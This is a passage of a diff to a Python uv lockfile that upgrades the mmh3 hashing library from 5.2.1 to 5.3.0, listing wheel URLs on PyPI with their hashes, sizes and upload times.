upload-time = "2026-03-05T15:55:45.866Z" }, - { url = "https://files.pythonhosted.org/packages/97/67/fe7e9e9c143daddd210cd22aef89cbc425d58ecf238d2b7d9eb0da974105/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55dbbd8ffbc40d1697d5e2d0375b08599dae8746b0b08dea05eee4ce81648fac", size = 110050, upload-time = "2026-03-05T15:55:47.074Z" }, - { url = "https://files.pythonhosted.org/packages/43/c4/6d4b09fcbef80794de447c9378e39eefc047156b290fa3dd2d5257ca8227/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6c85c38a279ca9295a69b9b088a2e48aa49737bb1b34e6a9dc6297c110e8d912", size = 111158, upload-time = "2026-03-05T15:55:48.239Z" }, - { url = "https://files.pythonhosted.org/packages/81/a6/ca51c864bdb30524beb055a6d8826db3906af0834ec8c41d097a6e8573d5/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6290289fa5fb4c70fd7f72016e03633d60388185483ff3b162912c81205ae2cf", size = 116890, upload-time = "2026-03-05T15:55:49.405Z" }, - { url = "https://files.pythonhosted.org/packages/cc/04/5a1fe2e2ad843d03e89af25238cbc4f6840a8bb6c4329a98ab694c71deda/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:4fc6cd65dc4d2fdb2625e288939a3566e36127a84811a4913f02f3d5931da52d", size = 123121, upload-time = "2026-03-05T15:55:50.61Z" }, - { url = "https://files.pythonhosted.org/packages/af/4d/3c820c6f4897afd25905270a9f2330a23f77a207ea7356f7aadace7273c0/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:623f938f6a039536cc02b7582a07a080f13fdfd48f87e63201d92d7e34d09a18", size = 110187, upload-time = "2026-03-05T15:55:52.143Z" }, - { url = "https://files.pythonhosted.org/packages/21/54/1d71cd143752361c0aebef16ad3f55926a6faf7b112d355745c1f8a25f7f/mmh3-5.2.1-cp314-cp314t-win32.whl", hash = "sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82", size = 41934, upload-time = "2026-03-05T15:55:53.564Z" }, - { url = "https://files.pythonhosted.org/packages/9d/e4/63a2a88f31d93dea03947cccc2a076946857e799ea4f7acdecbf43b324aa/mmh3-5.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb", size = 43036, upload-time = "2026-03-05T15:55:55.252Z" }, - { url = "https://files.pythonhosted.org/packages/a0/0f/59204bf136d1201f8d7884cfbaf7498c5b4674e87a4c693f9bde63741ce1/mmh3-5.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:dfd51b4c56b673dfbc43d7d27ef857dd91124801e2806c69bb45585ce0fa019b", size = 40391, upload-time = "2026-03-05T15:55:56.697Z" }, +version = "5.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/69/d00269fee7a3102fcc0f04f0a312e41c6b237762bdcad4c19426f18e697c/mmh3-5.3.0.tar.gz", hash = "sha256:95832419b87b882bec9dcd7d041d74887ba7745b3659c14be1ae1db5cfa35cad", size = 33607, upload-time = "2026-08-26T04:58:20.042Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/91/c2/832363657484efece490fc1b8218a9aa0e1350b296b3e8b55ccdd27799f3/mmh3-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0d8deb73a11a7b41bb831bc1c40fb9a70d9993d96dbfe82c0d3c6fb3acbe14ea", size = 55484, upload-time = "2026-08-26T04:55:36.048Z" }, + { url = "https://files.pythonhosted.org/packages/cb/2c/5292fff800e829622a0e0ed995cf77e2b3facbb994f7f6c70fbeba7c02a9/mmh3-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:67be681c7024df71c5d38c976b8d38c5998a17058533fc4eca6599b730d73b3a", size = 40077, upload-time = "2026-08-26T04:55:37.454Z" }, + { url = "https://files.pythonhosted.org/packages/71/44/e81837bf0704347b936e44714eae0b3681aaee4f935fe8b20d48d6370449/mmh3-5.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6be479b31ba2f4f86f886060cff1e640facc7f22d266d960b0ca41a9bf2690ef", size = 39716, upload-time = "2026-08-26T04:55:38.44Z" }, + { url = "https://files.pythonhosted.org/packages/3e/51/cfb9395d924361898db9ddd42cfed6e9652eb9629b631ea6b739f1a33ce3/mmh3-5.3.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:97206d90a8c68079525f9c4f64e94699927ceb01569b4a4da1c798c758abcf47", size = 95253, upload-time = "2026-08-26T04:55:39.438Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2b/8c7400a305c7f7180bf72476473decd15db7ad93f1283dc80177659ac433/mmh3-5.3.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bd044cff158529364124210044fec4f1b0a13219fb6e8b9e393384458bb753fc", size = 101127, upload-time = "2026-08-26T04:55:40.617Z" }, + { url = "https://files.pythonhosted.org/packages/9f/71/b3ec99f5fe658488d84187c52af76fa77adf7882eac6a11ac3322dea6693/mmh3-5.3.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d6f6a61516c4caa5413bd71e635039976224ccc56e82e3eb4a1df3eb5e370a28", size = 103924, upload-time = "2026-08-26T04:55:41.907Z" }, + { url = "https://files.pythonhosted.org/packages/46/2c/c81fcbb47819602ef6985eac08a2ed95dafa7f7d3167e8bda494ea7b991a/mmh3-5.3.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:25743ca117f8fdb707952c55fd86a03457e99036c9bcd22e6d5f9dbd0d80dc7a", size = 110808, upload-time = "2026-08-26T04:55:43.016Z" }, + { url = "https://files.pythonhosted.org/packages/68/8b/a2de474c7edfc8318fd3b8048a5e200b0d43ce37e50612458fb02cf1fc46/mmh3-5.3.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2ff91eadc4301f12ca6b46eaef21937348ed35a4789803fd92df5a2c044fdb3f", size = 118198, upload-time = "2026-08-26T04:55:44.149Z" }, + { url = "https://files.pythonhosted.org/packages/20/0a/f3559646e2c1b60b1b0588a3310889f964a0efcd3cf521da243db0bfa652/mmh3-5.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b8e62fec0ca6a14d8e47cde788be90237b089ef9cf46628dafcd5bb1bd64a219", size = 101630, upload-time = "2026-08-26T04:55:45.215Z" }, + { url = "https://files.pythonhosted.org/packages/3e/06/1e7ae758acd44865a528116cf259479e31195f6eaf15bde41e44867c8d62/mmh3-5.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8404f75bd1f23c2a806d8e61c95845969f9e256a91d8cdc07fdecde9a39b88b2", size = 96607, upload-time = "2026-08-26T04:55:46.27Z" }, + { url = "https://files.pythonhosted.org/packages/e0/77/bd0c254f7ab1582661a9341dc6e076e25a471fd3a05b6bcaaa00244a6d6d/mmh3-5.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c260e150268c47a51b5dc7c2d907ca2a18ecc9a1dabebd62da427342fa6923b6", size = 110216, upload-time = "2026-08-26T04:55:47.386Z" }, + { url = "https://files.pythonhosted.org/packages/6a/71/fed7519e651b88f01dfbea1b02d4b06fc840f96b534c600f57ce69fd05cb/mmh3-5.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:1d5cd932e6e44762e393570299d50c719c91f3610e33da4bc82578bcdd039c29", size = 111779, upload-time = "2026-08-26T04:55:48.67Z" }, + { url = "https://files.pythonhosted.org/packages/dd/6f/07be9498cde2f619caa77aec36691dbfe853dc680e778496afa978400e51/mmh3-5.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:381e2f183ebf25ac91c73e5d1b44b1676b287062fc9732d63bd05fb35bacb2b1", size = 100013, upload-time = "2026-08-26T04:55:49.775Z" }, + { url = "https://files.pythonhosted.org/packages/51/41/8ad9289cdc1e426d3794df9e2d09bfb92043fbac6642bac8361f167a97e4/mmh3-5.3.0-cp310-cp310-win32.whl", hash = "sha256:e4e32e99c3f56f4e4766bd86f0d14f32590098240bce76df2452a8caecf7cdac", size = 40446, upload-time = "2026-08-26T04:55:51.068Z" }, + { url = "https://files.pythonhosted.org/packages/c4/7d/3c551934eadb6ff6daa812ec65d95ddd4b2c40990c01b704eca554bde209/mmh3-5.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:4770ee0d719be9edc3849a231fc29fde75bfab6cf234b79733ed35cb7cf901f7", size = 41833, upload-time = "2026-08-26T04:55:51.996Z" }, + { url = "https://files.pythonhosted.org/packages/29/4d/21e470747dbf05a6b73a90196725d272328d1dfffb5686985c79dff0e824/mmh3-5.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:2d58d876bfeb587cd95c9e00e31cd7d2737cb31e6ca83dbcba445667c4403ac3", size = 39182, upload-time = "2026-08-26T04:55:53.004Z" }, + { url = "https://files.pythonhosted.org/packages/d7/30/e954812b018e3967ff308a8b118465836b217796ba607e40b1743d7e89a4/mmh3-5.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d04df504ac8c214eb5e0c9ef640ebe97c539c4a32a94603e9c7aea595aeba688", size = 55482, upload-time = "2026-08-26T04:55:54.129Z" }, + { url = "https://files.pythonhosted.org/packages/36/1f/590c4cabd7488f6ed40e3b63ac30deec422e984a14502ddd23e585b525e2/mmh3-5.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:592e561f01e670699126207ac05b0cfa068af110adf95c7a8317615cdd9345d8", size = 40074, upload-time = "2026-08-26T04:55:55.222Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ac/3d8675e976068cdc91f8a0beba5cda102cda7fef87dbb8a13d27d327513a/mmh3-5.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e90bf1e025fee24edbba0b1459624d46ef9208d3d479cd13fae799d26f1609b4", size = 39716, upload-time = "2026-08-26T04:55:56.212Z" }, + { url = "https://files.pythonhosted.org/packages/c5/2a/090225e40fe1e94dc685665e25e1c8c578d87a335fdf467e7250ab0d61a7/mmh3-5.3.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:83537149cfeff3d960758a2e5db9894f6207d83750858b4e1ec249849d864edb", size = 97164, upload-time = "2026-08-26T04:55:57.519Z" }, + { url = "https://files.pythonhosted.org/packages/28/72/25cdb414d1f77198bbc477a6fe44f8b9bc02eda5ef0c048e1acbd8383f73/mmh3-5.3.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:231fa0e3e9f9d02f46b19c2fd5bba4d61db4415f06f450b9f0bcb82a69be6f48", size = 102990, upload-time = "2026-08-26T04:55:58.744Z" }, + { url = "https://files.pythonhosted.org/packages/6d/1a/168493efccc0a901ebd3a825102f676e7f0a3e7b2ab2e926d85734fdda7f/mmh3-5.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:be154e808cce4259aec43e3097599d8986f39963cf300fba1b414eb1c3137e1d", size = 106005, upload-time = "2026-08-26T04:55:59.929Z" }, + { url = "https://files.pythonhosted.org/packages/2f/23/d0ac1695f9176fc40eeea62d97f9ebba8533e3ba36f20b5d294f8759df94/mmh3-5.3.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ad12368a31ddcbc3aed132ffee572917026315936a7df5433b9a9e8a5a9b0c33", size = 112880, upload-time = "2026-08-26T04:56:01.044Z" }, + { url = "https://files.pythonhosted.org/packages/2f/3b/4bf9bd3a9ad3b8b15678a908111710309a40b55a23ea3d76604db0705be4/mmh3-5.3.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:81b2682cdcaef93e1bc110ee4d626d8117c50c0427e0e9b8120e7c00dca90474", size = 120477, upload-time = "2026-08-26T04:56:02.105Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fa/e1902b6b00ccb139368cc6251fb405a8666104c615ec6a5c8819838be29e/mmh3-5.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fcd32858eb0df02dd0210523f12e1dabbae1a8d2d74b58ba40aabf2ca75ef872", size = 99010, upload-time = "2026-08-26T04:56:03.273Z" }, + { url = "https://files.pythonhosted.org/packages/ee/c1/cb93ab01202633a55a3ff65c6f98dc7626664ef27b65cce03efbdb221ecb/mmh3-5.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:235135d482a4176b9cf42920bc1f47f46daf746f5124921e3bf1932b55b6a327", size = 98424, upload-time = "2026-08-26T04:56:04.518Z" }, + { url = "https://files.pythonhosted.org/packages/f7/fb/4b02bf59dac23e3cf879e2ecd0048081a229b756954b0a12a5a0fb4cbff2/mmh3-5.3.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6e30838399bf3ff46a97a90a9997ed6960abce22352b33f7469d0f54b4294064", size = 106178, upload-time = "2026-08-26T04:56:05.716Z" }, + { url = "https://files.pythonhosted.org/packages/e2/d3/7fd61091f0d0dc5db04e66e51e245ca12ec90f61ce619ada582b57c0eca7/mmh3-5.3.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d5babb2a32f79826644c75ebe1e449ddf9035f38cfe4c820e2e3aa61adb0dd08", size = 109678, upload-time = "2026-08-26T04:56:06.878Z" }, + { url = "https://files.pythonhosted.org/packages/07/dc/9fe5b9b0b506427ff8be2fc39573c4ced33b991b543e107b91b95dcf3d22/mmh3-5.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49e91971bcc5f6170b451a18bf2c7c50072826ffce7a365d097b32ee01789add", size = 97154, upload-time = "2026-08-26T04:56:08.15Z" }, + { url = "https://files.pythonhosted.org/packages/50/b7/9b12b72aeeb7a1200b007e0389d632f40a69f3fcb193bbec0701efa90064/mmh3-5.3.0-cp311-cp311-win32.whl", hash = "sha256:ceee3a95661cd91eaa7b42d303e1d3c7d0d302674cefe74022b574523af218d2", size = 40440, upload-time = "2026-08-26T04:56:09.244Z" }, + { url = "https://files.pythonhosted.org/packages/05/98/255190dfa39718e02f588b1f6178b5478c7a664ce545869ac9d392b4281a/mmh3-5.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:d0eaf2ff43d5940112cb863c6a09d7d942b6317c006362c555d4c523eab6367a", size = 41831, upload-time = "2026-08-26T04:56:10.225Z" }, + { url = "https://files.pythonhosted.org/packages/99/bf/724fb70eefe649efa9470350efa3628815afb10a38fd9fdb6136c39f187f/mmh3-5.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ca4b9402ca8ad16ac8a76aa740c6d8c33a783c684b2f9320685f806ea88306ca", size = 39186, upload-time = "2026-08-26T04:56:11.202Z" }, + { url = "https://files.pythonhosted.org/packages/ef/97/28c3905a7e27e100ef50322798659e0af514eff600aabffbab00e3cd27ad/mmh3-5.3.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:5e7373e6834e4bdf2c24dbb1a0c6dd834bb5a189efb65723ebb58a8f3e76204b", size = 55484, upload-time = "2026-08-26T04:56:12.197Z" }, + { url = "https://files.pythonhosted.org/packages/44/13/629beb4d3e92ffcf1486c81cbb0605d9e6685b2721eb6753946a9d217359/mmh3-5.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:430ed4de594d0084d9b7956b05075a9054d290a3a0d7b370553a9096a4fd429f", size = 40091, upload-time = "2026-08-26T04:56:13.289Z" }, + { url = "https://files.pythonhosted.org/packages/c7/64/0a5832cd45207c507ee83bb7286dfeccf51c438aa8b6217f44f286f354f4/mmh3-5.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bee76669a5b588cd806aa619ea9eb8f0c8a00e6991001d830e07cc69258962a9", size = 39694, upload-time = "2026-08-26T04:56:14.244Z" }, + { url = "https://files.pythonhosted.org/packages/13/ac/e9a157fbeebf44da5e39e49ef3901cbd68651d966658b58303074f349422/mmh3-5.3.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:c6fbc4e3017fb99e639abdb58a6a31e14bcbd270562805a0b80a102f8a4f3024", size = 97220, upload-time = "2026-08-26T04:56:15.312Z" }, + { url = "https://files.pythonhosted.org/packages/af/a6/5012e363699c598166fb955f7267975284dd51eadc0383771a1a593d4ac2/mmh3-5.3.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:98db40c6ef8bbeb028e0424736a6bef3b1d8d0a02399236eb00db0dd0b7ca957", size = 103238, upload-time = "2026-08-26T04:56:16.425Z" }, + { url = "https://files.pythonhosted.org/packages/47/53/5710edf5edd969bbc42985577ddc73758a1c90a1613ffc4356087b5e330f/mmh3-5.3.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fa216ac716e7c99e4dc4b039c6219a31cd381cc0588ca45cf66f36011613f3ed", size = 106138, upload-time = "2026-08-26T04:56:17.54Z" }, + { url = "https://files.pythonhosted.org/packages/c5/dc/e7737d142ecb5847aad04fc92d63bd455587f5dc33ebbfddeb7936f98713/mmh3-5.3.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ef9fe783b932927da8070f5b2913ce412e42c80bf17fd523042325ee3a44f756", size = 112973, upload-time = "2026-08-26T04:56:18.644Z" }, + { url = "https://files.pythonhosted.org/packages/cd/04/34e1242a23e14c78a39dd76ffdf860e76d01c917e4103b9729c27efc22f7/mmh3-5.3.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1d5de36640293374673ec6813b7a23d8a9621bbd87f079c6ec4c5e8585cb1f64", size = 120621, upload-time = "2026-08-26T04:56:19.837Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6b/665f1bd97666095f8a92b4191e22c21038c3e5f6bccad2a09218962e0541/mmh3-5.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0a6bd95c410ec9500d9515a4fe522e24452f71df38de47395f99aebc085a5d5a", size = 99020, upload-time = "2026-08-26T04:56:21.07Z" }, + { url = "https://files.pythonhosted.org/packages/e7/a8/0ce084753cc8a82f8cbadcb6723f2e17c341b17683eafc49729a55db4930/mmh3-5.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:f0c7a36ccb66bfc8fcfa7a9722614b959231e325f0e08862c6ea70a7283a6520", size = 98497, upload-time = "2026-08-26T04:56:22.252Z" }, + { url = "https://files.pythonhosted.org/packages/01/1e/501564ca0687e4138c01c12d5b1bc049511753f5a5db2538ad662bf16d97/mmh3-5.3.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:767c6c0cf3f67c3e4e246ae7e1cc9ce7755f174f994aa3111c8357f16a587161", size = 106369, upload-time = "2026-08-26T04:56:23.375Z" }, + { url = "https://files.pythonhosted.org/packages/f7/af/7e072e63c10f81b0d4f2abff29363029144c62006baa1fbe437302d24f05/mmh3-5.3.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:408d37be08e12a154b482dcb300781d3dd154abab8e002ab32ecde6aa6a325bc", size = 109882, upload-time = "2026-08-26T04:56:24.495Z" }, + { url = "https://files.pythonhosted.org/packages/a6/89/90e3f0f59eb13b362cb0c091a1ce43b94325fae8c6c20a991dc9ee6bd0b7/mmh3-5.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a2b77b3e6a9d817822407b32c514205b44ceeb8ab197bee09de19e5f1e04ce18", size = 97421, upload-time = "2026-08-26T04:56:25.675Z" }, + { url = "https://files.pythonhosted.org/packages/f4/be/eaa4b95e3fdb2617ec1c1502ab15f5941408c02a3c80a5df63ab4c412abd/mmh3-5.3.0-cp312-cp312-win32.whl", hash = "sha256:d4cc2cb5f117da6460c14c65cbc0d1cf0976af3e56de6cd627cc36019f323e15", size = 40467, upload-time = "2026-08-26T04:56:26.804Z" }, + { url = "https://files.pythonhosted.org/packages/39/86/695592b763d2c0a5739ff50e62be102a1790bd5817a5f7f9ed2ffcbe198f/mmh3-5.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:ad5e6b56000d4b1b82a380c664982371939dc8f728fcbb73d017edc035247dcb", size = 41864, upload-time = "2026-08-26T04:56:27.779Z" }, + { url = "https://files.pythonhosted.org/packages/d1/ea/b534107b184454994865f5c1695df2f666672f16636b814da182b3ab0f6f/mmh3-5.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:4b660543eee66d5f07408fc1cdd0d017416f0f5cd1725def314cca3f67b0cac5", size = 39206, upload-time = "2026-08-26T04:56:28.789Z" }, + { url = "https://files.pythonhosted.org/packages/8b/fa/e07f6b9e2fba550fe539b6c66ee7fc28e44f5bd445a7203ae4c169d4aa72/mmh3-5.3.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:6576400e7a748ec5c7ea72f38d626939876dd1756f4a0ccf552b8646dcf6f3e9", size = 41040, upload-time = "2026-08-26T04:56:29.766Z" }, + { url = "https://files.pythonhosted.org/packages/62/9c/cb0f23e71bddcc519331c9787ec029e0d2fef64ed1bc490ad84b00a43950/mmh3-5.3.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:2b4cd2fcf1b517872530d9ef1a2de2ef9b86e5a0f8927539ea0b68337618244e", size = 42153, upload-time = "2026-08-26T04:56:30.954Z" }, + { url = "https://files.pythonhosted.org/packages/27/1c/99f2ff480922046a496c2e53728a13a467b68f01a0f48370577c0825a763/mmh3-5.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:f401a82d80c53d88605b82a80623edd95d922732d2c513c1c5f8e4b5e10c2913", size = 38796, upload-time = "2026-08-26T04:56:32.207Z" }, + { url = "https://files.pythonhosted.org/packages/ad/05/e137452583b33a56d053ad48643a7c56e4cf466efc8a145da6a736913ae3/mmh3-5.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:86238bb78ff65c9fc1e6b371b78f271e23c5d61898222c201122209dc8eadc76", size = 39474, upload-time = "2026-08-26T04:56:33.196Z" }, + { url = "https://files.pythonhosted.org/packages/74/e8/a9031fe6ed0eb06ab1c98eb76182eb01dc484dc46873a8e5ef3097d9bdf4/mmh3-5.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:222ea0a485e23bdcb29e28d15b8b01ebe34e8720bad4b5f92b645ed86e3fc715", size = 39983, upload-time = "2026-08-26T04:56:34.195Z" }, + { url = "https://files.pythonhosted.org/packages/f9/ae/11459b39af5341de2a048998a717f57b3a1c4e6a9edf8fe09e314b2c263c/mmh3-5.3.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d95ee6696aa5b7283f4a27b67eb7db1c4fb5bb7a9117205d29ebaaa7f6294d7b", size = 55464, upload-time = "2026-08-26T04:56:35.23Z" }, + { url = "https://files.pythonhosted.org/packages/49/b7/841b580415a614a3ad836db1cb8d57c425bbeb717c80263a9d979b1a4eac/mmh3-5.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e2f439ffd4fd7d64b77f6a287d4605700bad26fe12bb1b63b4ee45211344e2fc", size = 40084, upload-time = "2026-08-26T04:56:36.44Z" }, + { url = "https://files.pythonhosted.org/packages/02/f6/f5cb0e2f7bb7df876847dab63ee984c3f6173569d5b892edc04bc797c1b7/mmh3-5.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7f9cb34c661454f73432112a81ac522ebe69500feeb8d77f744f6bd3e8b2f2ba", size = 39693, upload-time = "2026-08-26T04:56:37.428Z" }, + { url = "https://files.pythonhosted.org/packages/b5/61/9506d0b30d7388846cc3b884ec63b8d67f3ad2d521e61775315111e70ec3/mmh3-5.3.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b6b7397804e9299bd0c01ea426245fa3d730d3e9c31f583f51aa87bed399c481", size = 97247, upload-time = "2026-08-26T04:56:38.439Z" }, + { url = "https://files.pythonhosted.org/packages/da/6f/c6a4acf4715fede1e0acb17d6080ebe9b88290d113bbf9513a8728c65b4d/mmh3-5.3.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4a19b00097fcc8e3008bb006cd6bfaf0544e9fa2abc4cc77fbad57971a37dcc0", size = 103256, upload-time = "2026-08-26T04:56:39.52Z" }, + { url = "https://files.pythonhosted.org/packages/a3/2a/f4fe4ebf2e44f49953ed1ee6b90d329d6843ebb949e60e881dbfde84e17d/mmh3-5.3.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:83d93abf6a68d54b4e2c4c041ffcffeb94b1c9ab3171443fda3f5f19024be517", size = 106172, upload-time = "2026-08-26T04:56:40.67Z" }, + { url = "https://files.pythonhosted.org/packages/1b/61/23168dc6fa92e1d9b57905b89c694a521a00570f0fe325bc3f6422fe6119/mmh3-5.3.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:598350a6adefb5799c800fd00bbeacbc115ee560e2fd7b35f703608c1037a2ed", size = 113020, upload-time = "2026-08-26T04:56:42.035Z" }, + { url = "https://files.pythonhosted.org/packages/6e/f6/68dbb5461727bb14fbca2342a7bba4521400d679d64e00dd98a992eb0be4/mmh3-5.3.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5c0772d6bba19a5601d24b3c6ce6627484fd5a3fd1d402913e1578b1447d51a0", size = 120648, upload-time = "2026-08-26T04:56:43.339Z" }, + { url = "https://files.pythonhosted.org/packages/92/18/a879ce4c26e8c1741b575e6c854b2323fd7e116000965c8904428e66fba6/mmh3-5.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:00105934e7d52f80b4364282918c37e2cc3cf9868ef4052016cbc39d8711c3f4", size = 99034, upload-time = "2026-08-26T04:56:44.771Z" }, + { url = "https://files.pythonhosted.org/packages/1b/28/b0548d78133f8e79bb16d6487f2df504ff4e16ea1330954f26be83b645ca/mmh3-5.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:99a5b0a908beb01b0e134b7b085d0ea6bfb7ed28ba3ed0737365aa2ce9bda0e4", size = 98587, upload-time = "2026-08-26T04:56:46.089Z" }, + { url = "https://files.pythonhosted.org/packages/97/10/abfa952c6a443d07efb286b53b439d4418f7cfbac49fca8974cd78c17427/mmh3-5.3.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:da4ad7a0d4c589069c46101dcb55ee304616293bcf614f4c445b3ecc961fa836", size = 106407, upload-time = "2026-08-26T04:56:47.16Z" }, + { url = "https://files.pythonhosted.org/packages/a6/61/3b974a1cfe683c6cb01d2d3f2d5eddfca7e0a175d976d2307269143f4e0e/mmh3-5.3.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:8962a67c314f1da82957aee5b940698aaffff13e41b3298baa59d30cbddb23e2", size = 109922, upload-time = "2026-08-26T04:56:48.451Z" }, + { url = "https://files.pythonhosted.org/packages/0e/d2/ac7e18d6fcee3b26e06b3d33ecab4459b7aa6aff9859b13eb13e353a69ab/mmh3-5.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f61f2850b318c043961662f6cdd08e69b05f1d25d0e321782a3995d39f811548", size = 97456, upload-time = "2026-08-26T04:56:49.559Z" }, + { url = "https://files.pythonhosted.org/packages/ee/80/7911629b930d46ef8cb3165bce44f021d31361a2d7c56e35efe7b0d90493/mmh3-5.3.0-cp313-cp313-win32.whl", hash = "sha256:d7eec1b09bde3a9b6e2102717a587b9c9a96c360a1ef478b5668414619cac606", size = 40458, upload-time = "2026-08-26T04:56:50.785Z" }, + { url = "https://files.pythonhosted.org/packages/45/c7/138d77c740f9d33ceffa968786fe23abe24ce442c210772b5b7cb6e0c198/mmh3-5.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:b1829bfe98d1f6e7bd79646b78e73dcef92c5aa32aaa622b9e07bf39df98c9b5", size = 41879, upload-time = "2026-08-26T04:56:51.785Z" }, + { url = "https://files.pythonhosted.org/packages/8b/e1/4312e5c18c8ef4060c9b50f1a645c9af7c3b79fad012c18fbe64a1b17103/mmh3-5.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:3fb0d4918b7d827ac804069849fde03d516628cbbf7bffe0b957ba6f1440cca6", size = 39203, upload-time = "2026-08-26T04:56:52.746Z" }, + { url = "https://files.pythonhosted.org/packages/ac/5d/838c2260e490baa075d86900ea5179cc99a3f85b6b4377b0d3671ebc3c7e/mmh3-5.3.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:60d00bbddaec09e8d3259a0d8805e16b96b2709f14d9c486e29568ffe6f55993", size = 41038, upload-time = "2026-08-26T04:56:53.798Z" }, + { url = 